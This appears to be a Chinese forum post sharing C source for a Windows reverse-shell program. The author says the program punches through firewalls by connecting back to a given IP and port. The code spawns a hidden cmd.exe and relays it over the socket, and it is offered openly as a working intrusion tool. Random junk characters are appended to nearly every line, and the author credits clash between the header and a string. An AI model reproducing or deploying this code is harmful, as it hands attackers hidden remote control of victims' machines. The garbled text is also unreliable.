这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 REX/:sB<
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/* ============================== ^^xzaF
Rebound port in Windows NT 4Im}!q5;:<
By wind,2006/7 T sJ71
===============================*/ 0icB2Jm:D}
#include *D7oHwDU
#include `Sj8IxO
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#pragma comment(lib,"wsock32.lib") 4g.S!-H@R
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void OutputShell(); hB:+_[=Kj.
SOCKET sClient; ov>`MCS,v
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; I= z+`o8
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void main(int argc,char **argv) iVqF]2>
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WSADATA stWsaData; )fT0FLl|1
int nRet; r7)iNTQ1
SOCKADDR_IN stSaiClient,stSaiServer; O_SM! !,
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if(argc != 3) mvtuV`
{ I|mxyyf
printf("Useage:\n\rRebound DestIP DestPort\n"); 4T<dI6I0
return; {
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} Rn whkb&&
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WSAStartup(MAKEWORD(2,2),&stWsaData); %bnjK#o"Q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -g vS3`lX
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stSaiClient.sin_family = AF_INET; h"N#/zQ
stSaiClient.sin_port = htons(0); D
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _lk5\bu
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W!Rr_'yFe)
{ %{P." ki
printf("Bind Socket Failed!\n");
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return; bNz2Uo!0K
} SYK?5_804
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stSaiServer.sin_family = AF_INET; O$peCv
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z: W1(/W~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %u$dN9cw
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $2*&\/;-E!
{ wsCT9&p
printf("Connect Error!"); %PU{h
return; *FoPs
} #9hSo
OutputShell(); j: B,K.:
} N_8L8ds5
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void OutputShell() t!vlZNc
{ -
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char szBuff[1024]; 5'O.l$)y
SECURITY_ATTRIBUTES stSecurityAttributes; |teDe6\m
OSVERSIONINFO stOsversionInfo; T]J#>LBd
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _b 8XF&O
STARTUPINFO stStartupInfo; qS+I lg
char *szShell; =E%<"FB
PROCESS_INFORMATION stProcessInformation; su]ywVoRT
unsigned long lBytesRead; h!>NS ?X7
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6P I-"He
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); UwxrYouv~@
stSecurityAttributes.lpSecurityDescriptor = 0; oE4hGt5x{
stSecurityAttributes.bInheritHandle = TRUE; 0<S(zva7([
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (gv
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *:A)j?(
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); DWH)<\?
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [f'DxZF-
stStartupInfo.wShowWindow = SW_HIDE; KGX?\#-
stStartupInfo.hStdInput = hReadPipe; Wh>Y_ k
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .el_pg
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GetVersionEx(&stOsversionInfo); ,P d2ZfZ
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switch(stOsversionInfo.dwPlatformId) d|sI>6jD
{ .*g;2.-qv&
case 1: I1H:h
szShell = "command.com"; _?2xIo
break; :PaFC{O)*
default: 4.dMNqU
szShell = "cmd.exe"; g%<7Px[W
break; KXFa<^\o
} K~WwV8c9;
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); n{Mj<\kL
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send(sClient,szMsg,77,0); {w^flizY
while(1) {UYqRfgbZ
{ `czXjZE
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);
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if(lBytesRead) I>-jKSkwc
{ }%R6Su]y
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]@ [=FK^
send(sClient,szBuff,lBytesRead,0); *qBMt[a
} 1^zF/$%
else 1ck2Gxn
{ 3G8uXB_`}
lBytesRead=recv(sClient,szBuff,1024,0); oaBfq8,;
if(lBytesRead<=0) break; *G~c6BZ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 28BiuxVW
} XLbrE|0A?
} ` ?6m0|\@
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return; sX_ ^H%fd
}